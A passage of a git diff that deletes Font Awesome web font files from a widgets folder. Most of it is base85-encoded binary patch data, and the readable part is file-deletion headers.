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 bMX1cpc?scf@6G-KdBTf-{AinZ?ft(1jXHOb diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.woff b/pages/widgets/_snippets/public/fonts/fa-regular-400.woff deleted file mode 100644 index 24de566a5c97289a86ce0c238a195da0d3251263..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16800 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 @5E5^jow38oGT;HT{*=6I5BP zPeN~)y@whdfIBsRmq+Rdg0wTnQ7nPHr0W78U5CX2223}%1mx1n&83U#f08@zJkueT z$DgUg@4aOBobTYZlOfw{A6tR{zC7-_)wQi%FtW;tntgzGD%#dCRe@ntYfE`#rbn&Z z|6)Q;ve5_j8Y|`QupfJ-(bpq$$OCFZ)G9H^2@|7fmRV!La<CzlFK6uux zDViThsLzm$UXb}MFKscAfY?#%;oqe!RS;J>Pli? z*=6TyI2eY>)`{x{|H)5~wzZk*nbk;8Hum(bGtPLHh3P+DL69&UjNAU=?vWHz(U@W^ zUWs|p+FYcOaUAECH@kQEWn}}C)F?%Ei+KbACvL|Q`}9O?5fS=&J62rx!~y-dp>JBk z9bs^&ugytSsijMeNwVztda@V=S^OgOrVFdK{}6%-?Z4bPjb(}DCsyL>a=l4)9R 